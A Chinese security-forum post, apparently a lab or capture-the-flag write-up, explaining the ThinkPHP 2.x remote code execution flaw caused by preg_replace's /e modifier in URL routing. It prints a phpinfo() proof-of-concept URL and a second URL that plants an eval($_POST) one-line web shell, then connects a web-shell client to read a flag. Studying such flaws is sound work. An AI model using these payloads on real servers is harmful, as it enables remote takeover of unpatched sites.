安全矩阵

 找回密码
 立即注册
搜索
查看: 2216|回复: 0

ThinkPHP 2.X 任意代码执行

[复制链接]

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
发表于 2020-8-11 16:23:42 | 显示全部楼层 |阅读模式
ThinkPHP 2.X 任意代码执行



1. 漏洞概述

在 ThinkPHP ThinkPHP 2.x 版本中,使用 preg_replace 的 /e 模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0 版本因为 Lite 模式下没有修复该漏洞,也存在这个漏洞。所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
下面是搜索到的关于/e的解释:
  1. <font size="4" face="宋体">e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
  2. /e 可执行模式,此为PHP专有参数,例如preg_replace函数。</font>
复制代码
Write up首先打开靶场
利用 POC 来验证, phpinfo() 成功执行。
  1. <font size="4" face="宋体">/index.php?s=/index/index/xxx/${@phpinfo()}</font>
复制代码
然后写入一句话
  1. <font size="4" face="宋体">/index.php?s=/index/index/xxx/${${@eval($_POST[1])}}</font>
复制代码
并用菜刀连接
连接完成后去 tmp 临时文件下去查看 Flag

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 15:54 , Processed in 0.012097 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表